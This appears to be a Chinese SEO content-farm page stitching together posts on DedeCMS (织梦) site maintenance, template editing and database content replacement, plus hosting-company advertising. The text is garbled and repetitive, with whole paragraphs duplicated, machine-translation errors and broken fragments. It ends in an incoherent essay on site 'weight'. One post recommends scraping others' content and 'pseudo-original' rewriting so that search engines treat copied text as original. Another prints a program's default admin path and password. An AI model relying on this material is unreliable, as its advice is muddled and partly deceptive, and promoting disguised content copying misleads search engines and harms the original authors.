收录排名详情查询抽取快速查询导出网站收录快照链接和关键词排名链接收录标题收录时间等查询关键词排名,根据关键词提取收录链接,查询peer的网站收录链接和peer的网站关键词排名数据支持导出。
网站映射对于网站的维护也很重要。我们可以抓取网站链接,快速生成XML、TXT、HTML格式的网站地图,满足百度、谷歌等搜索引擎的爬虫需求。方便搜索引擎蜘蛛爬取网站页面,通过站点地图获取站点信息,在站点上添加文章的收录。快速提取整个站点的网站链接,检查网站链接是否正常,网页是否为收录。
根据网站产品的浏览情况,网站内容和产品的顺序和呈现会增加或减少。及时改善网站中营销思维的不专业和欠缺,给网站的浏览用户留下专业的印象。
网站维护是网站建设中非常重要的一环,关系到我们网站的稳定有效运行。今天关于网站维护的讲解就到这里,下期分享更多SEO相关知识和丰富的SEO实战经验。
查看全部
织梦系统网站内容更改(
光速SEO2022-04-17网站维护的重要性和方法
)
网站如何进行批量管理维护

光速SEO2022-04-17
网站维护,最近很多站长都问我如何批量管理维护大量网站维护。因为每个站对应不同的建站系统,每个网站的文章自动更新是一件很头疼的事。市场上很少同时支持织梦、empire、zblog、WordPress、pbootcms等各种cms批次,神马、360、搜狗推送。
构建自己的网站只是构建网站的第一步。下一个非常重要的部分是网站的维护。 网站的维护一般包括以下几个方面。
通过网站日志,我们可以知道搜索引擎什么时候访问过网站,访问过哪些网页,访问过哪些网页。这些信息对我们进一步优化和改进很重要网站。
定期或不定期更新内容,可以让我们的网站保持活力,与时俱进,不仅能吸引更多的访问者,增加流量,还能增加网站的信誉,赢得客户最大的信任。
网站维护网站内容我们可以免费使用采集工具,免费采集不用写复杂的采集规则,不用花很多钱学习正则表达式或html标签的时间,一分钟即可上手,只需输入关键词即可实现采集。然后结合伪原创,让搜索引擎认为你的网站内容基本是原创,有利于收录和网站的SEO排名。
网站维护也需要对服务器进行定期维护。我们经常遇到服务器问题、数据丢失等问题。定期备份网站不仅是对自己的责任,也是对网站忠实用户的尊重。一台性能稳定的服务器,可以让蜘蛛在访问时正常抓取你的网站内容。人们都知道,如果网站想要收录,蜘蛛是必不可少的,没有蜘蛛网站几乎不可能有收录和网站的排名@>.
网站维护的另一个非常重要的方面是网站安全性。网络安全一直是热门话题,尤其是金融、电商等网站。网络安全是重中之重。现在很多人都可以轻松窃取 网站 数据,因此 网站 安全设置起着至关重要的作用。你站起来给别人做婚纱一定很不愉快。 网站维护期间一定要做好网站的安全防护。
网站设计和用户体验真的很重要。随着时代的变化,人们对网站功能和网站设计的要求也在变化。 网站维护就是根据当前时代的要求不断优化网站。满足客户的审美要求,尽可能适应客户的使用习惯。网站结构合理,将用户感兴趣的精彩内容推荐到首页;
网站维护我们还需要对网站实时数据进行统计分析。提供网站收录查询和网站排名、蜘蛛变化权重值等多种功能查询。这提供了 SEO 中数据变化的全面视图。
收录排名详情查询抽取快速查询导出网站收录快照链接和关键词排名链接收录标题收录时间等查询关键词排名,根据关键词提取收录链接,查询peer的网站收录链接和peer的网站关键词排名数据支持导出。
网站映射对于网站的维护也很重要。我们可以抓取网站链接,快速生成XML、TXT、HTML格式的网站地图,满足百度、谷歌等搜索引擎的爬虫需求。方便搜索引擎蜘蛛爬取网站页面,通过站点地图获取站点信息,在站点上添加文章的收录。快速提取整个站点的网站链接,检查网站链接是否正常,网页是否为收录。
根据网站产品的浏览情况,网站内容和产品的顺序和呈现会增加或减少。及时改善网站中营销思维的不专业和欠缺,给网站的浏览用户留下专业的印象。
网站维护是网站建设中非常重要的一环,关系到我们网站的稳定有效运行。今天关于网站维护的讲解就到这里,下期分享更多SEO相关知识和丰富的SEO实战经验。
织梦系统网站内容更改(ASP.NET简单的三层架构开发,利于网站整体优化)
网站优化 • 优采云 发表了文章 • 0 个评论 • 70 次浏览 • 2022-04-19 09:09
<p>程序后台路径为/mxzadmin/,后台登录账号密码为:mxiaozhen 本程序版权归郑路伟()所有,不得以任何方式恶意传播,谢谢合作,违者必究被追究责任。如有问题请联系作者,站长导航QQ交流群:1292930512.3版程序演示地址:[V2.3]更新日志于2013-7-27添加< @1、百度联盟等联盟广告位优化了首页UI部分;2、可以通过配置文件修改静态页面的生成路径,实现自定义路径功能,操作更全面;3、 修复部分虚拟主机点击后台登录按钮无响应的bug;4、修复部分浏览器点击后台登录按钮无响应的BUG;5、搜索框彻底改版,只保留百度搜索。优化用户体验,简化操作。[V2.1]更新说明 查看全部
织梦系统网站内容更改(ASP.NET简单的三层架构开发,利于网站整体优化)
<p>程序后台路径为/mxzadmin/,后台登录账号密码为:mxiaozhen 本程序版权归郑路伟()所有,不得以任何方式恶意传播,谢谢合作,违者必究被追究责任。如有问题请联系作者,站长导航QQ交流群:1292930512.3版程序演示地址:[V2.3]更新日志于2013-7-27添加< @1、百度联盟等联盟广告位优化了首页UI部分;2、可以通过配置文件修改静态页面的生成路径,实现自定义路径功能,操作更全面;3、 修复部分虚拟主机点击后台登录按钮无响应的bug;4、修复部分浏览器点击后台登录按钮无响应的BUG;5、搜索框彻底改版,只保留百度搜索。优化用户体验,简化操作。[V2.1]更新说明
织梦系统网站内容更改( 一下如何在免备案虚拟主机环境中使用数据库内容替换功能)
网站优化 • 优采云 发表了文章 • 0 个评论 • 114 次浏览 • 2022-04-17 19:24
一下如何在免备案虚拟主机环境中使用数据库内容替换功能)
Dedecms后台功能数据库内容替换介绍
很多时候我们需要修改网站中的一些信息内容,比如文章标题和内容等,但是如果在dedecms程序中修改,就比较麻烦了,但是如果是直接从数据库的内容中进行修改的话,可以给我们带来很多的方便。下面高速主机编辑器将向大家介绍如何在无记录的虚拟主机环境中使用数据库内容替换功能。首先我们登录织梦dedecms程序的网站后台,点击菜单栏导航中的“核心”——“批量维护”——“数据库内容替换”进入数据库内容替换页面。数据库内容替换的操作步骤如图1、2所示:
首先,在数据表中选择要修改的数据表。选择后,数据表中的字段会出现在数据表下方。继续选择要更改的字段信息,并设置替换方式。有两种替换方法。一种是“Normal Replacement”,一种是“Regular Expression”,如果选择正则模式,则必须指定主键字段。然后设置“替换内容”和“替换为”的内容。如果“更换条件”一栏留空,则表示全部更换。最后输入安全确认码,点击“开始替换数据”按钮进行替换。最后需要提醒的是,替换数据库内容属于敏感操作,风险较高,因此建议您在操作前做好数据备份。高速主机提供365天*24小时全天候、实时在线、零等待的售后技术支持。我们会尽力为您免费处理您在使用高速主机过程中遇到的所有问题!如果您是高速主机用户,可以使用企业QQ【417333562】、售后QQ【网站底部有】、旺旺【旺奇科技】、78879749免费电话、后台提交工单联系高速主机客服!如果您不是我们的客户也没有问题,点击页面最右侧企业QQ在线咨询图标联系我们购买,我们将为您提供免费的无缝搬家服务,让您享受网站@ > 零访问延迟迁移到高速托管服务!高速主机相关文章推荐阅读: 查看全部
织梦系统网站内容更改(
一下如何在免备案虚拟主机环境中使用数据库内容替换功能)
Dedecms后台功能数据库内容替换介绍
很多时候我们需要修改网站中的一些信息内容,比如文章标题和内容等,但是如果在dedecms程序中修改,就比较麻烦了,但是如果是直接从数据库的内容中进行修改的话,可以给我们带来很多的方便。下面高速主机编辑器将向大家介绍如何在无记录的虚拟主机环境中使用数据库内容替换功能。首先我们登录织梦dedecms程序的网站后台,点击菜单栏导航中的“核心”——“批量维护”——“数据库内容替换”进入数据库内容替换页面。数据库内容替换的操作步骤如图1、2所示:


首先,在数据表中选择要修改的数据表。选择后,数据表中的字段会出现在数据表下方。继续选择要更改的字段信息,并设置替换方式。有两种替换方法。一种是“Normal Replacement”,一种是“Regular Expression”,如果选择正则模式,则必须指定主键字段。然后设置“替换内容”和“替换为”的内容。如果“更换条件”一栏留空,则表示全部更换。最后输入安全确认码,点击“开始替换数据”按钮进行替换。最后需要提醒的是,替换数据库内容属于敏感操作,风险较高,因此建议您在操作前做好数据备份。高速主机提供365天*24小时全天候、实时在线、零等待的售后技术支持。我们会尽力为您免费处理您在使用高速主机过程中遇到的所有问题!如果您是高速主机用户,可以使用企业QQ【417333562】、售后QQ【网站底部有】、旺旺【旺奇科技】、78879749免费电话、后台提交工单联系高速主机客服!如果您不是我们的客户也没有问题,点击页面最右侧企业QQ在线咨询图标联系我们购买,我们将为您提供免费的无缝搬家服务,让您享受网站@ > 零访问延迟迁移到高速托管服务!高速主机相关文章推荐阅读:
织梦系统网站内容更改(我网站是织梦dede程序,新更改了网站首页栏)
网站优化 • 优采云 发表了文章 • 0 个评论 • 66 次浏览 • 2022-04-16 21:25
先进入后台,然后找到模板,选择默认模板管理,然后会看到很多文件,找到index.htm 这是首页,点击,就是html代码,可以修改
你可以看看后台的设置。它应该是那里获得的最新图片。如果你不想改变它,你应该在 网站 上重新设计它
该主页或内容页面的内容必须在模板中进行修改。如果你在后台找,估计你不会html和css;如果要修改图片,需要更改模板中的调用,具体步骤没有法律说的;
织梦如何修改模板中首页的内容?- :先进入后台,然后找到模板并选择默认模板管理,然后你会看到很多文件,找到index.html。, 你可以修改
织梦网站如何在后台修改首页内容?- :如果删除,则无法恢复。您可以在客户案例栏后添加一个子类,然后添加一个二级模块。不明白继续问我
如何更改首页模板织梦cms-:由于模板制作者的制作习惯不同,dedecms的模板安装方法也有很大不同,但主要步骤是: 1.Upload 上传模板文件到网站的模板目录templets;2.主要设置在系统后台的系统设置里面,有一个“模板默认样式”的选项,填写你的模板目录的名称;3.修改一般需要对模板中的调用进行一些修改,比如typeid,修改集中在网站首页;主页和栏目以及内容页面的html
织梦首页两个字怎么修改或去掉-:通过修改模板实现,index.htm爱网论坛-打造中国最好的计算机知识论坛
如何更改网站的标题我网站是一个织梦dede程序,而网站首页栏目的目标已经新改了:网页的title大致可以分为以下两种:1.通过document对象访问titlevar title = document.title;2.通过DOM访问titlevar title = ...
织梦如何在系统中修改主页-:1、织梦系统后台有模板管理,找到index.htm。2、使用FTP修改后台模板,进入www根目录下修改,在templets中找到模板调用的地址,找到index.htm,网站模板实现前端调用3、使用空格服务器登录后台,进入模板中网站的根目录并找到模板调用的地址修改,找到index.htm,网站模板实现前端调用希望能帮到你,希望采纳。
织梦如何通过模板修改首页关键词 - : 然后可以直接修改模板index.htm的关键词地方!第一个是调用关键词,后一个是调用网站描述!这将自动调用修改后的系统参数 关键词!
如何修改织梦制作的网站首页模板-:\DedeAMPZ\WebRoot\Default\templets\default,找到你安装的根目录,然后按照我给你的路径找index .htm ,这是主页。如果你熟悉 HTML 和 CSS,打开它应该就明白了。任何带dede的都表示是织梦的调用标签,可以忽略
织梦主页模板index.htm-上如何删除修改主页图片:有一个界面图片位置可以更改图片,可以直接在里面替换,不过比较麻烦,搜外6 系统可以直接替换掉....
织梦如何编辑内容管理系统首页文字- :首页文字在模板里~直接到模板里找到index.htm 查看全部
织梦系统网站内容更改(我网站是织梦dede程序,新更改了网站首页栏)
先进入后台,然后找到模板,选择默认模板管理,然后会看到很多文件,找到index.htm 这是首页,点击,就是html代码,可以修改
你可以看看后台的设置。它应该是那里获得的最新图片。如果你不想改变它,你应该在 网站 上重新设计它
该主页或内容页面的内容必须在模板中进行修改。如果你在后台找,估计你不会html和css;如果要修改图片,需要更改模板中的调用,具体步骤没有法律说的;
织梦如何修改模板中首页的内容?- :先进入后台,然后找到模板并选择默认模板管理,然后你会看到很多文件,找到index.html。, 你可以修改
织梦网站如何在后台修改首页内容?- :如果删除,则无法恢复。您可以在客户案例栏后添加一个子类,然后添加一个二级模块。不明白继续问我
如何更改首页模板织梦cms-:由于模板制作者的制作习惯不同,dedecms的模板安装方法也有很大不同,但主要步骤是: 1.Upload 上传模板文件到网站的模板目录templets;2.主要设置在系统后台的系统设置里面,有一个“模板默认样式”的选项,填写你的模板目录的名称;3.修改一般需要对模板中的调用进行一些修改,比如typeid,修改集中在网站首页;主页和栏目以及内容页面的html
织梦首页两个字怎么修改或去掉-:通过修改模板实现,index.htm爱网论坛-打造中国最好的计算机知识论坛
如何更改网站的标题我网站是一个织梦dede程序,而网站首页栏目的目标已经新改了:网页的title大致可以分为以下两种:1.通过document对象访问titlevar title = document.title;2.通过DOM访问titlevar title = ...
织梦如何在系统中修改主页-:1、织梦系统后台有模板管理,找到index.htm。2、使用FTP修改后台模板,进入www根目录下修改,在templets中找到模板调用的地址,找到index.htm,网站模板实现前端调用3、使用空格服务器登录后台,进入模板中网站的根目录并找到模板调用的地址修改,找到index.htm,网站模板实现前端调用希望能帮到你,希望采纳。
织梦如何通过模板修改首页关键词 - : 然后可以直接修改模板index.htm的关键词地方!第一个是调用关键词,后一个是调用网站描述!这将自动调用修改后的系统参数 关键词!
如何修改织梦制作的网站首页模板-:\DedeAMPZ\WebRoot\Default\templets\default,找到你安装的根目录,然后按照我给你的路径找index .htm ,这是主页。如果你熟悉 HTML 和 CSS,打开它应该就明白了。任何带dede的都表示是织梦的调用标签,可以忽略
织梦主页模板index.htm-上如何删除修改主页图片:有一个界面图片位置可以更改图片,可以直接在里面替换,不过比较麻烦,搜外6 系统可以直接替换掉....
织梦如何编辑内容管理系统首页文字- :首页文字在模板里~直接到模板里找到index.htm
织梦系统网站内容更改(织梦系统网站内容更改到底会不会影响网站权重呢?)
网站优化 • 优采云 发表了文章 • 0 个评论 • 70 次浏览 • 2022-04-15 21:03
织梦系统网站内容更改到底会不会影响网站权重呢?这个问题目前还没有完全定论,之前在下面说过不管是网站哪个版本,有些都会影响权重,像百度权重不能改,360权重改完也会有影响。还有些网站需要添加数据自动生成pv和uv的,权重都会有所折扣,影响不是很大。但是最近发现有人通过在原来原站ceo大巴.原一线,结合不一样的用户属性平台了装修系统.平台很低调的一个站,2013年注册的,就一直呆在那里,但是也没做什么推广,10个链接左右,每个链接用户关注热度还算不错,后来觉得就更新些产品相关视频就好,过了1年就更新了几个大盘下载类的每天还有活跃用户人气热度还不错。
可能有人会说,这是从关注热度判断的,我哪有那么多用户关注你啊!其实我也只是和去了解了行业,装修行业还是有很多不同,我把我个人理解的说下吧,一家比较大的平台不做评论,主要想说说如果改了.不只影响查询,可能搜索和列表就变了,那还有意义吗?改过的不仅仅是关注热度,每个用户的站长属性,浏览习惯.关注内容频道频率.喜欢的年龄段都会变,你每个变化对网站都是影响,关键影响如何能排上首页不被系统误判,这还是关键,关键排在首页的页面权重也是有折扣的,不同网站的站长属性不同,当然每个用户的喜好不同,有些不需要用户关注的内容你添加上可能就会直接过了关注?系统就被判定你的网站多余了?第二点:更改内容影响搜索引擎蜘蛛抓取从没接触过爬虫的人了解,蜘蛛抓取获取信息主要还是通过搜索引擎吧,如果说你内容做的太全了,不可能被蜘蛛都爬下来吧,对于一些平台点击量不大,这个一些非需要了解的内容内容都可以加上.还是那句话,需要关注的内容不是搜索引擎蜘蛛目标信息.第三点:关注内容的人也是不断变化,那就是排名权重不稳定.不断变化,就会有排名波动,每个站长都有自己的一个看法,例如:2013年排名1-3排名顶,现在最新的排名3-5.或者说早期你竞争最大的位置没了.全都下来了,用户很难去找到你,或者你排名发生了变化用户反馈用都找不到你。
最后总结,一个网站一定是你想要的.和内容的干扰性有关,不管是用户属性,还是产品,内容是不会太多被影响,而影响你网站权重的是关注度.(例如,a更换了头像或者内容不更新,别人用户查询不出来,如果你的关注度和产品极具竞争力,搜索引擎是会收录的)站长更改关注点,也会影响到权重排名的,不过会影响但不大,太阳底下没有新鲜事,都是已经发生的东西,只是可能时间和原因不同,还有就是没改好的一定会被后台查出来,影响排名就要不定。 查看全部
织梦系统网站内容更改(织梦系统网站内容更改到底会不会影响网站权重呢?)
织梦系统网站内容更改到底会不会影响网站权重呢?这个问题目前还没有完全定论,之前在下面说过不管是网站哪个版本,有些都会影响权重,像百度权重不能改,360权重改完也会有影响。还有些网站需要添加数据自动生成pv和uv的,权重都会有所折扣,影响不是很大。但是最近发现有人通过在原来原站ceo大巴.原一线,结合不一样的用户属性平台了装修系统.平台很低调的一个站,2013年注册的,就一直呆在那里,但是也没做什么推广,10个链接左右,每个链接用户关注热度还算不错,后来觉得就更新些产品相关视频就好,过了1年就更新了几个大盘下载类的每天还有活跃用户人气热度还不错。
可能有人会说,这是从关注热度判断的,我哪有那么多用户关注你啊!其实我也只是和去了解了行业,装修行业还是有很多不同,我把我个人理解的说下吧,一家比较大的平台不做评论,主要想说说如果改了.不只影响查询,可能搜索和列表就变了,那还有意义吗?改过的不仅仅是关注热度,每个用户的站长属性,浏览习惯.关注内容频道频率.喜欢的年龄段都会变,你每个变化对网站都是影响,关键影响如何能排上首页不被系统误判,这还是关键,关键排在首页的页面权重也是有折扣的,不同网站的站长属性不同,当然每个用户的喜好不同,有些不需要用户关注的内容你添加上可能就会直接过了关注?系统就被判定你的网站多余了?第二点:更改内容影响搜索引擎蜘蛛抓取从没接触过爬虫的人了解,蜘蛛抓取获取信息主要还是通过搜索引擎吧,如果说你内容做的太全了,不可能被蜘蛛都爬下来吧,对于一些平台点击量不大,这个一些非需要了解的内容内容都可以加上.还是那句话,需要关注的内容不是搜索引擎蜘蛛目标信息.第三点:关注内容的人也是不断变化,那就是排名权重不稳定.不断变化,就会有排名波动,每个站长都有自己的一个看法,例如:2013年排名1-3排名顶,现在最新的排名3-5.或者说早期你竞争最大的位置没了.全都下来了,用户很难去找到你,或者你排名发生了变化用户反馈用都找不到你。
最后总结,一个网站一定是你想要的.和内容的干扰性有关,不管是用户属性,还是产品,内容是不会太多被影响,而影响你网站权重的是关注度.(例如,a更换了头像或者内容不更新,别人用户查询不出来,如果你的关注度和产品极具竞争力,搜索引擎是会收录的)站长更改关注点,也会影响到权重排名的,不过会影响但不大,太阳底下没有新鲜事,都是已经发生的东西,只是可能时间和原因不同,还有就是没改好的一定会被后台查出来,影响排名就要不定。
织梦系统网站内容更改(织梦CMS密码重置工具压缩包radminpa解决织梦dedecms后台提示错误 )
网站优化 • 优采云 发表了文章 • 0 个评论 • 75 次浏览 • 2022-04-14 22:11
)
相关话题
织梦系统解决后台“DEDEcms安全提示”的方法
2013 年 7 月 3 日 14:23:00
织梦后台系统是目前使用最多的网站cms,很多SEOer都操作过织梦后台,那么细心的网络营销人员会发现,在后台首页有一个版块叫做《DEDEcms安全提示》,里面写了3条提示(如图1):
解决织梦(DEDEcms)后台无法上传图片的问题
2012 年 3 月 8 日 15:23:00
织梦(DEDEcms)后台无法上传上传的文件,显示上传失败,郁闷。织梦 或其他程序无法上传图片的可能原因只有几个。我们首先分析上传失败的可能性,排除和解决背景图片无法上传的问题。
Wordpress 比较 织梦 和 Empire,网站 使用哪个后台程序?
2015 年 10 月 10 日 15:05:00
我应该使用什么后台程序来构建 网站?这个问题也是小编入行之初非常纠结的一个问题。在构建网站的道路上,小编首先使用了织梦(DEDEcms)、帝制cms等国产cms系统。
PHP 代码调用 织梦Dedecms 的 文章
2011 年 13 月 6 日 15:56:00
有时在使用织梦Dedecms时,我们可能需要在非织梦的php代码中获取最新的文章,如果是这样呢?大家可以参考下面的代码,根据自己的需要进行修改。
织梦后台密码重置 radminpass.php
2018 年 2 月 3 日 01:10:01
因为网站太多了,而且我也习惯让firefox浏览器记录登录密码,有一天突然发现我dede的管理员密码cms网站无法登录在。我试了几个常见的密码都显示不正确。然后,根据网上介绍的几种方法,包括SQL查询语句,都无法找回密码。找到织梦cms的后台管理员密码重置工具,上传文件。,按照操作执行两步,解决令人头疼的忘记密码问题。工具使用教程下载织梦cms密码重置工具压缩包radminpa
解决织梦dedecmsAdministrator后台提示404错误
24/4/202013:49:13
昨天刚帮一个用户迁移了一个dedev5.7sq1集成discuzx2网站。迁移后,所有测试都完全正常。今天用户来找我问我:“怎么回事?登录后出现问题。,可以登录后台,有错误提示,notfound
织梦DEDEcms安装插件后前后台都是空白或者500错误
22/7/202115:30:51
有用户使用我们空间安装的dedecms,因为后台安装了wpe手机浏览器插件,导致网站前台一片空白。然后用户删除了插件,不幸的是后端也是空白的。联系我们寻求帮助后,首先检查
织梦系统标签代码LOOP标签介绍
28/9/202018:02:16
本站建站服务器文章主要介绍织梦系统标签代码LOOP标签的介绍。文中的介绍很详细,有一定的参考价值。有兴趣的朋友一定要读一读!织梦系统
织梦如何将模板应用到 PHPcms?
20/7/202012:04:36
织梦如何将模板应用到 PHPcms?将织梦模板应用到PHPcms的方法: 0 首先将织梦模板下载到本地;然后提取模板中的JS、CSS、图片等资源文件;然后创建一个新的 PHP cms模板并将提取的文件放入
dedecms自动生成标签的方法是什么
24/11/202018:04:22
文章后台:由于织梦dedecms无法自动生成标签,所以系统后台TAG标签管理生成的标签实际上是复制关键字,然后插入到标签中。所以如果我们想自动生成一个标签,我们需要将关键字的值赋给这个标签
dedecms织梦TAG标签如何显示单个标签中有多少篇文章文章
15/9/202015:02:18
本站建站服务器文章主要介绍dedecms织梦TAG标签如何显示单个标签文章有多少篇文章,有一定的参考价值,有需要的朋友需要的可以参考。希望大家阅读
织梦网站构造栏自动添加nofollow方法?
22/11/2012 17:42:00
在网站的构建和优化中,列的设置和权重问题一直是SEOER的痛点。下面我来说说如何让织梦cms的背景更加灵动地添加和修改栏目的rel=”nofollow”属性!
Dede的一些SEO优化技巧cms(织梦)网站
2011 年 9 月 20 日 16:18:00
dedecms(织梦)网站、网站静态设置、网站 URL路径优化、文章标签设置的一些SEO优化技巧,以及解决栏目页面标题重复的问题。
织梦dedecms体验
2018 年 4 月 3 日 01:08:41
<p>二级域名配置1、只有顶级栏目才能使用二级域名,顶级栏目存放目录最好放在cms 查看全部
织梦系统网站内容更改(织梦CMS密码重置工具压缩包radminpa解决织梦dedecms后台提示错误
)
相关话题
织梦系统解决后台“DEDEcms安全提示”的方法
2013 年 7 月 3 日 14:23:00
织梦后台系统是目前使用最多的网站cms,很多SEOer都操作过织梦后台,那么细心的网络营销人员会发现,在后台首页有一个版块叫做《DEDEcms安全提示》,里面写了3条提示(如图1):

解决织梦(DEDEcms)后台无法上传图片的问题
2012 年 3 月 8 日 15:23:00
织梦(DEDEcms)后台无法上传上传的文件,显示上传失败,郁闷。织梦 或其他程序无法上传图片的可能原因只有几个。我们首先分析上传失败的可能性,排除和解决背景图片无法上传的问题。

Wordpress 比较 织梦 和 Empire,网站 使用哪个后台程序?
2015 年 10 月 10 日 15:05:00
我应该使用什么后台程序来构建 网站?这个问题也是小编入行之初非常纠结的一个问题。在构建网站的道路上,小编首先使用了织梦(DEDEcms)、帝制cms等国产cms系统。

PHP 代码调用 织梦Dedecms 的 文章
2011 年 13 月 6 日 15:56:00
有时在使用织梦Dedecms时,我们可能需要在非织梦的php代码中获取最新的文章,如果是这样呢?大家可以参考下面的代码,根据自己的需要进行修改。

织梦后台密码重置 radminpass.php
2018 年 2 月 3 日 01:10:01
因为网站太多了,而且我也习惯让firefox浏览器记录登录密码,有一天突然发现我dede的管理员密码cms网站无法登录在。我试了几个常见的密码都显示不正确。然后,根据网上介绍的几种方法,包括SQL查询语句,都无法找回密码。找到织梦cms的后台管理员密码重置工具,上传文件。,按照操作执行两步,解决令人头疼的忘记密码问题。工具使用教程下载织梦cms密码重置工具压缩包radminpa

解决织梦dedecmsAdministrator后台提示404错误
24/4/202013:49:13
昨天刚帮一个用户迁移了一个dedev5.7sq1集成discuzx2网站。迁移后,所有测试都完全正常。今天用户来找我问我:“怎么回事?登录后出现问题。,可以登录后台,有错误提示,notfound

织梦DEDEcms安装插件后前后台都是空白或者500错误
22/7/202115:30:51
有用户使用我们空间安装的dedecms,因为后台安装了wpe手机浏览器插件,导致网站前台一片空白。然后用户删除了插件,不幸的是后端也是空白的。联系我们寻求帮助后,首先检查

织梦系统标签代码LOOP标签介绍
28/9/202018:02:16
本站建站服务器文章主要介绍织梦系统标签代码LOOP标签的介绍。文中的介绍很详细,有一定的参考价值。有兴趣的朋友一定要读一读!织梦系统

织梦如何将模板应用到 PHPcms?
20/7/202012:04:36
织梦如何将模板应用到 PHPcms?将织梦模板应用到PHPcms的方法: 0 首先将织梦模板下载到本地;然后提取模板中的JS、CSS、图片等资源文件;然后创建一个新的 PHP cms模板并将提取的文件放入

dedecms自动生成标签的方法是什么
24/11/202018:04:22
文章后台:由于织梦dedecms无法自动生成标签,所以系统后台TAG标签管理生成的标签实际上是复制关键字,然后插入到标签中。所以如果我们想自动生成一个标签,我们需要将关键字的值赋给这个标签

dedecms织梦TAG标签如何显示单个标签中有多少篇文章文章
15/9/202015:02:18
本站建站服务器文章主要介绍dedecms织梦TAG标签如何显示单个标签文章有多少篇文章,有一定的参考价值,有需要的朋友需要的可以参考。希望大家阅读

织梦网站构造栏自动添加nofollow方法?
22/11/2012 17:42:00
在网站的构建和优化中,列的设置和权重问题一直是SEOER的痛点。下面我来说说如何让织梦cms的背景更加灵动地添加和修改栏目的rel=”nofollow”属性!

Dede的一些SEO优化技巧cms(织梦)网站
2011 年 9 月 20 日 16:18:00
dedecms(织梦)网站、网站静态设置、网站 URL路径优化、文章标签设置的一些SEO优化技巧,以及解决栏目页面标题重复的问题。

织梦dedecms体验
2018 年 4 月 3 日 01:08:41
<p>二级域名配置1、只有顶级栏目才能使用二级域名,顶级栏目存放目录最好放在cms
织梦系统网站内容更改(修改文章内容列表页摘要描述不更新的问题(图))
网站优化 • 优采云 发表了文章 • 0 个评论 • 63 次浏览 • 2022-04-14 11:17
如果你的网站是用织梦构建的,那么如果你有内容列表页摘要描述没有更新的问题,可以参考这篇文章。
当我们发现文章的上一段有错误时,我们会立即进行修改,但是修改的时候总会出现一些问题。例如,列列表的文章摘要描述不会随着文章内容的更新而自动更新。
因为织梦(dede)在添加文章的时候会自动生成文章摘要,所以如果重新修改文章的内容,主要是修改文章的内容上一段 文章 之后,不再修改摘要。
尤其是之前对文章的描述一下子修改了很多,发现不更新的话,肯定会头皮发麻。博主遇到过这样的问题。当然,遇到这样的问题,我们可以直接在数据库中修改,使用sql语句。
我们只需要三个步骤:
第一步是在 SQL 命令行工具中运行以下语句:
更新 dede_archives 设置描述=“”;
第二步,重新生成文章摘要
转到“核心”->“批量维护”->“自动摘要|分页”以批量重新生成文章摘要。
第三步,一键更新网站
进入“生成”-->“自动任务”-->“一键更新网站”全部更新。
总结:
下面简单解释一下这三个步骤:第一步是通过sql语句清除描述的内容,第二步是重新生成内容摘要描述,第三步是更新整个站点。至此,您的内容列表页面摘要描述已更新。 查看全部
织梦系统网站内容更改(修改文章内容列表页摘要描述不更新的问题(图))
如果你的网站是用织梦构建的,那么如果你有内容列表页摘要描述没有更新的问题,可以参考这篇文章。

当我们发现文章的上一段有错误时,我们会立即进行修改,但是修改的时候总会出现一些问题。例如,列列表的文章摘要描述不会随着文章内容的更新而自动更新。
因为织梦(dede)在添加文章的时候会自动生成文章摘要,所以如果重新修改文章的内容,主要是修改文章的内容上一段 文章 之后,不再修改摘要。
尤其是之前对文章的描述一下子修改了很多,发现不更新的话,肯定会头皮发麻。博主遇到过这样的问题。当然,遇到这样的问题,我们可以直接在数据库中修改,使用sql语句。
我们只需要三个步骤:
第一步是在 SQL 命令行工具中运行以下语句:
更新 dede_archives 设置描述=“”;
第二步,重新生成文章摘要
转到“核心”->“批量维护”->“自动摘要|分页”以批量重新生成文章摘要。
第三步,一键更新网站
进入“生成”-->“自动任务”-->“一键更新网站”全部更新。
总结:
下面简单解释一下这三个步骤:第一步是通过sql语句清除描述的内容,第二步是重新生成内容摘要描述,第三步是更新整个站点。至此,您的内容列表页面摘要描述已更新。
织梦系统网站内容更改,需要满足法律要求(组图)
网站优化 • 优采云 发表了文章 • 0 个评论 • 80 次浏览 • 2022-09-18 21:05
织梦系统网站内容更改,需要满足法律要求,会牵涉到未来的品牌营销,网站内容违规内容经过审核,网站会整改,但是整改的目的是为了更好的改变网站已有的内容来迎合未来的发展。这两年无线技术发展迅速,很多手机和平板的网站发生了变化,整站内容要更新,老版本的网站才能再有效的运用。
提问者在问这个问题时你肯定也不清楚原因吧,做这个问题如果提问者是站长的话显然是反面问题,应该问作为前端开发人员,他们为什么这么做。这就引出了前端团队怎么在规避这些限制性条件。作为一个软件公司,天生就有改变原有产品的能力,而这个能力就体现在技术的变更上。所以为了避免或减少网站变动带来的各种问题,前端开发者要尽快的将网站改成新的样式适应新的接口。
主要针对的规避问题有:人员变更、公司整体架构变更、过多不同规模的公司在同一网站上面过度架构变更、网站设计过于庞大、所有有可能发生变动的业务逻辑都放在同一平台实现(比如物流规划、p2p贷款等)等等。为了设计方便,设计师,产品经理等需要跟网站的设计人员沟通将尽量降低改动,保证接口的透明性,保证双方的确理解了相关业务(即不涉及到过高的利益纠葛或是相对不差钱的情况下),上述问题都可以通过开放接口的方式来规避,详细的应用方式可以看看谷歌的文档:shouldcustomerareconfidentthatweareabletoconfidentthatthecompanydoesnotrequireanynewavailabilityintheirsites,andtoprotectcustomerrightsfromdevelopmentthewebsitesbyallowingchangesintheuserpresenceintheplaceofthecompany'sallavailablestakeholders.优秀网站有这样一个好习惯,在工程实践中,往往会设置一个相对固定的工程人力,比如开一个url,让全公司的各种user做一个决定让各个页面要不要迁移到新页面去的选择。 查看全部
织梦系统网站内容更改,需要满足法律要求(组图)

织梦系统网站内容更改,需要满足法律要求,会牵涉到未来的品牌营销,网站内容违规内容经过审核,网站会整改,但是整改的目的是为了更好的改变网站已有的内容来迎合未来的发展。这两年无线技术发展迅速,很多手机和平板的网站发生了变化,整站内容要更新,老版本的网站才能再有效的运用。

提问者在问这个问题时你肯定也不清楚原因吧,做这个问题如果提问者是站长的话显然是反面问题,应该问作为前端开发人员,他们为什么这么做。这就引出了前端团队怎么在规避这些限制性条件。作为一个软件公司,天生就有改变原有产品的能力,而这个能力就体现在技术的变更上。所以为了避免或减少网站变动带来的各种问题,前端开发者要尽快的将网站改成新的样式适应新的接口。
